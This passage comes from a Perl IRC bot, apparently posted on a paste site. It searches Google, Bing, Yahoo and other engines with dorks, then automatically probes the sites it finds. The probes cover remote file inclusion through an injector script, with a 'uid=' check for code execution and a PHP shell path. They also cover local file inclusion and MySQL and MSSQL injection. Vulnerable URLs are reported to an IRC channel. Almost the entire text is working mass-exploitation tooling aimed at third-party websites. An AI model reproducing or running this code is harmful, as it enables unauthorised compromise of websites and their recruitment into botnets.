  840.         my @google=&google($dork);
  841.         push(@total, @google);
  842.     }
  843.     if ($engz =~ /AllTheWeb/) {
  844.         my @alltheweb=&alltheweb($dork);
  845.         push(@total, @alltheweb);
  846.     }
  847.     if ($engz =~ /Bing/) {
  848.         my @Bing=&Bing($dork);
  849.         push(@total, @Bing);
  850.     }
  851.     if ($engz =~ /ALtaViSTa/) {
  852.         my @altavista=&altavista($dork);
  853.         push(@total, @altavista);
  854.     }
  855.     if ($engz =~ /AsK/) {
  856.         my @ask=&ask($dork);
  857.         push(@total, @ask);
  858.     }
  859.     if ($engz =~ /UoL/) {
  860.         my @uol=&uol($dork);
  861.         push(@total, @uol);
  862.     }
  863.     if ($engz =~ /LyCos/) {
  864.         my @lycos=&lycos($dork);
  865.         push(@total, @lycos);
  866.     }
  867.     if ($engz =~ /GoodSearch/) {
  868.         my @goodsearch=&goodsearch($dork);
  869.         push(@total, @goodsearch);
  870.     }
  871.     if ($engz =~ /YahOo/) {
  872.         my @yahoo=&yahoo($dork);
  873.         push(@total, @yahoo);
  874.     }
  875.     my @clean=&calculate(@total);
  876.     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  877.     if (scalar(@clean) != 0) {
  878.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)7 Exploiting4 $dork");
  879.     }
  880.     my $uni=scalar(@clean);
  881.     foreach my $target (@clean)
  882.     {
  883.         $contatore++;
  884.         if ($contatore==$uni-1){
  885.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)10 Scan Finish for14 $dork");
  886.         }
  887.         my $xpl  = "http://".$target.$bugz.$injector."?";
  888.         my $vuln = "http://".$target."12".$bugz."7".$phpshell."?";
  889.         my $re   = getcontent($xpl);
  890.         if($re =~ /$rfi_result/ && $re =~ /uid=/){
  891.             os($xpl);
  892.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@6".$os."15)(7@3SAFEMODE-OFF15)");
  893.         }
  894.         elsif($re =~ /$rfi_result/)
  895.         {
  896.             os($xpl);
  897.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@6".$os."15)(7@4SAFEMODE-ON15)");
  898.         }
  899.     }
  900. }
  901.  
  902. sub lfiscan() {
  903.     my $engz = $_[0];
  904.     my $bugz = $_[1];
  905.     my $dork = $_[2];
  906.     my $contatore = 0; 
  907.     if ($engz =~ /GooGLe/) {
  908.         my @google=&google($dork);
  909.         push(@total, @google);
  910.         }
  911.     if ($engz =~ /AllTheWeb/) {
  912.         my @alltheweb=&alltheweb($dork);
  913.         push(@total, @alltheweb);
  914.     }
  915.     if ($engz =~ /Bing/) {
  916.         my @Bing=&Bing($dork);
  917.         push(@total, @Bing);
  918.     }
  919.     if ($engz =~ /ALtaViSTa/) {
  920.         my @altavista=&altavista($dork);
  921.         push(@total, @altavista);
  922.     }
  923.     if ($engz =~ /AsK/) {
  924.         my @ask=&ask($dork);
  925.         push(@total, @ask);
  926.     }
  927.     if ($engz =~ /UoL/) {
  928.         my @uol=&uol($dork);
  929.         push(@total, @uol);
  930.     }
  931.     if ($engz =~ /LyCos/) {
  932.         my @lycos=&lycos($dork);
  933.         push(@total, @lycos);
  934.     }
  935.     if ($engz =~ /GoodSearch/) {
  936.         my @goodsearch=&goodsearch($dork);
  937.         push(@total, @goodsearch);
  938.     }
  939.     if ($engz =~ /YahOo/) {
  940.         my @yahoo=&yahoo($dork);
  941.         push(@total, @yahoo);
  942.     }
  943.     my @clean = &calculate(@total);
  944.     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  945.     if (scalar(@clean) != 0) {
  946.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)7 Exploiting4 $dork");
  947.     }
  948.     my $uni=scalar(@clean);
  949.     foreach my $target (@clean)
  950.     {
  951.         $contatore++;
  952.         if ($contatore==$uni-1){
  953.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)10 Scan Finish for14 $dork");
  954.         }
  955.         my $xpl  = "http://".$target.$bugz.$lfi_test;
  956.         my $vuln = "http://".$target."12".$bugz."7".$lfi_test."";
  957.         my $re   = getcontent($xpl);
  958.         if ($re  =~ /$lfi_output/){
  959.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@3VopCrew15)");
  960.         }
  961.     }
  962. }
  963.  
  964. sub mysqlscan() {
  965.     my $engz = $_[0];
  966.     my $bugz = $_[1];
  967.     my $dork = $_[2];
  968.     my $contatore = 0;
  969.     if ($engz =~ /GooGLe/) {
  970.         my @google=&google($dork);
  971.         push(@total, @google);
  972.         }
  973.     if ($engz =~ /AllTheWeb/) {
  974.         my @alltheweb=&alltheweb($dork);
  975.         push(@total, @alltheweb);
  976.     }
  977.     if ($engz =~ /Bing/) {
  978.         my @Bing=&Bing($dork);
  979.         push(@total, @Bing);
  980.     }
  981.     if ($engz =~ /ALtaViSTa/) {
  982.         my @altavista=&altavista($dork);
  983.         push(@total, @altavista);
  984.     }
  985.     if ($engz =~ /AsK/) {
  986.         my @ask=&ask($dork);
  987.         push(@total, @ask);
  988.     }
  989.     if ($engz =~ /UoL/) {
  990.         my @uol=&uol($dork);
  991.         push(@total, @uol);
  992.     }
  993.     if ($engz =~ /LyCos/) {
  994.         my @lycos=&lycos($dork);
  995.         push(@total, @lycos);
  996.     }
  997.     if ($engz =~ /GoodSearch/) {
  998.         my @goodsearch=&goodsearch($dork);
  999.         push(@total, @goodsearch);
  1000.     }
  1001.     if ($engz =~ /YahOo/) {
  1002.         my @yahoo=&yahoo($dork);
  1003.         push(@total, @yahoo);
  1004.     }
  1005.     my @clean = &calculate(@total);
  1006.     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  1007.     if (scalar(@clean) != 0) {
  1008.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork");
  1009.     }
  1010.     my $uni = scalar(@clean);
  1011.     foreach my $target (@clean)
  1012.     {
  1013.         $contatore++;
  1014.         if ($contatore==$uni-1){
  1015.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork");
  1016.         }
  1017.         my $xpl  = "http://".$target.$bugz.$sql_test;
  1018.         my $vuln = "http://".$target."12".$bugz."7[SQL]";
  1019.         my $re   = getcontent($xpl);
  1020.         if ($re  =~ /$mysql_output/){
  1021.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 ".$vuln." 15(7@3VopCrew15)");
  1022.         }
  1023.     }
  1024. }
  1025.  
  1026.  
  1027. sub mssqlscan() {
  1028.     my $engz = $_[0];
  1029.     my $bugz = $_[1];
  1030.     my $dork = $_[2];
  1031.     my $contatore = 0;
  1032.     if ($engz =~ /GooGLe/) {
  1033.         my @google=&google($dork);
  1034.         push(@total, @google);
  1035.         }
  1036.     if ($engz =~ /AllTheWeb/) {
  1037.         my @alltheweb=&alltheweb($dork);
  1038.         push(@total, @alltheweb);
  1039.     }
  1040.     if ($engz =~ /Bing/) {
  1041.         my @Bing=&Bing($dork);
  1042.         push(@total, @Bing);
  1043.     }
  1044.     if ($engz =~ /ALtaViSTa/) {
  1045.         my @altavista=&altavista($dork);
  1046.         push(@total, @altavista);
  1047.     }
  1048.     if ($engz =~ /AsK/) {
  1049.         my @ask=&ask($dork);
  1050.         push(@total, @ask);
  1051.     }
  1052.     if ($engz =~ /UoL/) {
  1053.         my @uol=&uol($dork);
  1054.         push(@total, @uol);
  1055.     }
  1056.     if ($engz =~ /LyCos/) {
  1057.         my @lycos=&lycos($dork);
  1058.         push(@total, @lycos);
  1059.     }
  1060.     my @clean = &calculate(@total);
  1061.     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  1062.     if (scalar(@clean) != 0) {
  1063.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork");
  1064.     }
  1065.     my $uni = scalar(@clean);
  1066.     foreach my $target (@clean)
  1067.     {
  1068.         $contatore++;
  1069.         if ($contatore==$uni-1){
  1070.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork");
  1071.         }
  1072.         my $xpl  = "http://".$target.$bugz.$sql_test;
  1073.         my $vuln = "http://".$target."12".$bugz."7[SQL]";
  1074.         my $re   = getcontent($xpl);
  1075.         if ($re  =~ /$mssql_output/){
  1076.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 ".$vuln." 15(7@3VopCrew15)");
  1077.         }
  1078.     }
  1079. }
  1080.  
  1081. sub os() {
  1082.     my $site = $_[0];
  1083.     my $re   = &query($site);
  1084.     while ($re =~ m/<br>os:(.+?)<br>/g) {
  1085.         $os = $1;
  1086.         if ($1 =~ //) { $os = "Unkn0wN"; }
  1087.     }
  1088. }
  1089.  
  1090. sub response() {
  1091.     my $re = getcontent($injector);
  1092.     if ($re =~ /pZLNd8MwEITvg/) {
  1093.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)12 « 3OK12 »");
  1094.     }
  1095.     else {
  1096.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)12 « 4JAH12 »");
  1097.     }
  1098. }
  1099.  
  1100. sub getcontent() {
  1101.     $url    = $_[0];
  1102.     my $req = HTTP::Request->new(GET => $url);
  1103.     my $ua  = LWP::UserAgent->new();
  1104.     $ua->timeout(5);
  1105.     my $response = $ua->request($req);
  1106.     return $response->content;
  1107. }
  1108.  
  1109. sub google(){
  1110.     my @lst;
  1111.     my $key = $_[0];
  1112.     my $b   = 0;
  1113.     for ($b=0; $b<=1000; $b+=100){
  1114.         my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
  1115.         my $Res=query($Go);
  1116.         while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1117.             if ($1 !~ /google/){
  1118.                 my $k=$1;
  1119.                 my @grep=links($k);
  1120.                 push(@lst,@grep);
  1121.             }
  1122.         }
  1123.     }
  1124. return @lst;
  1125. }
  1126.  
  1127. sub alltheweb() {
  1128.     my @lst;
  1129.     my $key = $_[0];
  1130.     my $b   = 0;
  1131.     my $pg  = 0;
  1132.     for ($b=0; $b<=1000; $b+=100) {
  1133.         my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
  1134.         my $Res = query($all);
  1135.         while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
  1136.             my $k = $1;
  1137.             $k =~ s/ //g;
  1138.             my @grep = links($k);
  1139.             push( @lst, @grep );
  1140.         }
  1141.     }
  1142.     return @lst;
  1143. }
  1144.  
  1145. sub uol() {
  1146.     my @lst;
  1147.     my $key = $_[0];
  1148.     my $b   = 0;
  1149.     for ($b=1; $b<=1000; $b+=10) {
  1150.         my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
  1151.         my $Res = query($UoL);
  1152.         while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
  1153.             my $k = $1;
  1154.             if ( $k !~ /busca|uol|yahoo/ ) {
  1155.                 my $k    = $1;
  1156.                 my @grep = links($k);
  1157.                 push( @lst, @grep );
  1158.             }
  1159.         }
  1160.     }
  1161.     return @lst;
  1162. }
  1163.  
  1164. sub Bing() {
  1165.     my @lst;
  1166.     my $key = $_[0];
  1167.     my $b   = 0;
  1168.     for ($b=1; $b<=1000; $b+=10) {
  1169.         my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
  1170.         my $Res = query($bing);
  1171.         while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
  1172.             if ( $1 !~ /msn|live|bing/ ) {
  1173.                 my $k    = $1;
  1174.                 my @grep = links($k);
  1175.                 push( @lst, @grep );
  1176.             }
  1177.         }
  1178.     }
  1179.     return @lst;
  1180. }
  1181.  
  1182. sub altavista(){
  1183.     my @lst;
  1184.     my $key = $_[0];
  1185.     my $b   = 0;
  1186.     for ($b=1; $b<=1000; $b+=10){
  1187.         my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1188.         my $Res=query($AlT);
  1189.         while ($Res=~m/<span class=ngrn>(.+?)\//g){
  1190.             if ($1 !~ /altavista/){
  1191.                 my $k=$1;
  1192.                 $k=~s/<//g;
  1193.                 $k=~s/ //g;
  1194.                 my @grep=links($k);
  1195.                 push(@lst,@grep);
  1196.             }
  1197.         }
  1198.     }
  1199. return @lst;
  1200. }
  1201.  
  1202. sub ask() {
  1203.     my @lst;
  1204.     my $key = $_[0];
  1205.     my $b   = 0;
  1206.     my $pg  = 0;
  1207.     for ($b=0; $b<=1000; $b+=10) {
  1208.         my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
  1209.         my $Res = query($Ask);
  1210.         while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  1211.             if ($1 !~ /ask.com/){
  1212.                 my $k = $1;
  1213.                 my @grep = links($k);
  1214.                 push( @lst, @grep );
  1215.             }
  1216.         }
  1217.     }
  1218.     return @lst;
  1219. }
  1220.  
  1221. sub lycos() {
  1222.     my @lst;
  1223.     my $key = $_[0];
  1224.     my $b   = 0;
  1225.     for ($b=0; $b<=1000; $b+=10) {
  1226.         my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$b."&query=".key($key)."&cat=web&enc=utf-8");
  1227.         my $Res = query($lyc);
  1228.         while ($Res =~ m/href=\"http:\/\/(.+?)\"  >/g) {
  1229.             if ($1 !~ /lycos/){
  1230.                 my $k = $1;
  1231.                 my @grep = links($k);
  1232.                 push(@lst, @grep);
  1233.             }
  1234.         }
  1235.     }
  1236.     return @lst;
  1237. }
  1238.  
  1239. sub goodsearch() {
  1240.     my @lst;
  1241.     my $key = $_[0];
  1242.     my $b   = 0;
  1243.     for ($b=1; $b<=500; $b+=1) {
  1244.         my $goods = ("http://www.goodsearch.com/search.aspx?keywords=".key($key)."&page=".$b."&osmax=0");
  1245.         my $Res = query($goods);
  1246.         while ($Res =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g) {
  1247.             if ($2 !~ /goodsearch/){
  1248.                 my $k = $2;
  1249.                 my @grep = links($k);
  1250.                 push(@lst, @grep);
  1251.             }
  1252.         }
  1253.     }
  1254.     return @lst;
  1255. }
  1256.  
  1257. sub yahoo() {
  1258.     my @lst;
  1259.     my $key = $_[0];
  1260.     my $b   = 0;
  1261.     for ($b=1; $b<=500; $b+=1) {
  1262.         my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
  1263.         my $Res = query($yahoo);
  1264.         while ($Res =~ m/26u=(.*?)%26w=/g) {
  1265.             if ($1 !~ /yahoo/){
  1266.                 my $k = $1;
  1267.                 my @grep = links($k);
  1268.                 push(@lst, @grep);
  1269.             }
  1270.         }
  1271.     }
  1272.     return @lst;
  1273. }
  1274.  
  1275. sub links() {
  1276.     my @l;
  1277.     my $link = $_[0];
  1278.     my $host = $_[0];
  1279.     my $hdir = $_[0];
  1280.     $hdir =~ s/(.*)\/[^\/]*$/\1/;
  1281.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1282.     $host .= "/";
  1283.     $link .= "/";
  1284.     $hdir .= "/";
  1285.     $host =~ s/\/\//\//g;
  1286.     $hdir =~ s/\/\//\//g;
  1287.     $link =~ s/\/\//\//g;
  1288.     push( @l, $link, $host, $hdir );
  1289.     return @l;
  1290. }
  1291.  
  1292. sub key() {
  1293.     my $dork = $_[0];
  1294.     $dork =~ s/ /\+/g;
  1295.     $dork =~ s/:/\%3A/g;
  1296.     $dork =~ s/\//\%2F/g;
  1297.     $dork =~ s/&/\%26/g;
  1298.     $dork =~ s/\"/\%22/g;
  1299.     $dork =~ s/,/\%2C/g;
  1300.     $dork =~ s/\\/\%5C/g;
  1301.     return $dork;
  1302. }
  1303.  
  1304. sub query($) {
  1305.     my $url = $_[0];
  1306.     $url =~ s/http:\/\///;
  1307.     my $host  = $url;
  1308.     my $query = $url;
  1309.     my $page  = "";
  1310.     $host  =~ s/href=\"?http:\/\///;
  1311.     $host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1312.     $query =~ s/$host//;
  1313.     if ( $query eq "" ) { $query = "/"; }
  1314.         eval {
  1315.             my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
  1316.             print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1317.             my @r = <$sock>;
  1318.             $page = "@r";
  1319.             close($sock);
  1320.         };
  1321.     return $page;
  1322. }
  1323.  
  1324. sub calculate {
  1325.     my @calculate = ();
  1326.     my %visti = ();
  1327.     foreach my $element (@_) {
  1328.         $element =~ s/\/+/\//g;
  1329.         next if $visti{$element}++;
  1330.         push @calculate, $element;
  1331.     }
  1332.     return @calculate;
  1333. }
  1334.  
  1335. sub nick {
  1336.     return unless $#_ == 0;
  1337.     sendraw("NICK $_[0]");
  1338. }
  1339.  
  1340. sub notice {
  1341.     return unless $#_ == 1;
  1342.     sendraw("NOTICE $_[0] :$_[1]");
  1343. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement